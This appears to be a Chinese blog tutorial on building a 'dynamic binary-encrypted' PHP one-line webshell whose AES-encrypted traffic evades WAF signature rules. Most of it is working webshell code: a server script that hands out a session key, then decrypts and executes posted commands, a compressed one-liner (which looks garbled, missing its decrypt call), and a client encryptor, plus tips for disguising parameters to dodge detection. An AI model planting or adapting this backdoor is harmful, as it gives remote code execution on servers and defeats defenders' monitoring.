动态二进制加密一句话木马
我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。但如果使服务器所截获的流量使加密过的二进制流,这样就大大减小了被拦截的概率
为何被拦截
首先我们可以随便找一个payload,来分析一下其特征
可以看到虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。
这种大量的混淆,编码,可能会暂时的绕过防火墙,但防守方也能很轻易的解码,将其新的特征加入规则中。
为了解决这一问题, 我们尝试直接对传输的流量进行加密,对于不同的操作,采用不同的密钥进行加密,这样防守方就很难再去进行分析来提取出特征。
那我们的思路就比较明确了,主要的流程是
- 客户端向服务器申请一个密钥
- 服务器随机生成密钥,并将其写入session,返回给客户端
- 客户端用服务器返回的密钥对payload进行加密,接着将加密后的payload发给服务器
- 服务器对收到的payload进行解密并执行,最后返回结果给客户端
初步实现
和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,也就不存在已编译的二进制类文件。整个过程主要分为两个部分,首先是GET类型请求,服务器随机生成一个密钥,将其写入session,同时返回给客户端1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
session_start();
if (isset($_GET['key']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
echo $key;
}
else if (isset($_POST['payload']))
{
$key=$_SESSION['k'];
$result = $_POST['payload'];
$decrptContent = openssl_decrypt($result, "AES128", $key,'0','Glacier__glacier');
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
else
{
echo "error!";
}
?>
第二部分就是传输payload,服务端对其进行解密并执行
例如,客户端传入assert|eval("phpinfo();")
,服务端再explode将其分割,最后执行assert("eval(\"phpinfo();\")")
将其压缩一下,看着更像是一句话接下来需要再本地生成一个payload1
<?php session_start();isset($_GET['key'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',$_POST['payload'], "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
接着我们来试一下效果1
2
3
4
5
6<?php
$key = "836f3ab76289b6e2";
$payload = 'assert|eval("phpinfo();")';
$encrpycontent=openssl_encrypt($payload,"AES128",$key,0,'Glacier__glacier');
echo $encrpycontent;
?>
在传上我们新型的码之后,先使用GET类型访问,获取服务端所生成的随机密钥
用该随机密钥在我们本地来加密payload
最后将加密后的payload使用post方法传输给服务端
成功执行
流量分析
接下来我们分析下服务端能看到的流量
首先是GET方式请求获取生成的随机密钥
1 |
|
唯一可能会被列入规则的特征就是key
,但这个参数可以将其改为与原网站已存在的GET请求相似的参数来对抗防守方
接下来看看POST传入的加密后的payload,跟GET类型一样,唯一可能会被列入规则的特征就是payload
,我们也可以跟GET使用同样的方法来隐藏,或者使用file_get_contents("php://input")
来获取传入php中的所有数据流来更好的隐藏特征
1 |
|
参考文章:
https://xz.aliyun.com/t/2744#toc-8
https://xz.aliyun.com/t/2774
https://security.tencent.com/index.php/blog/msg/202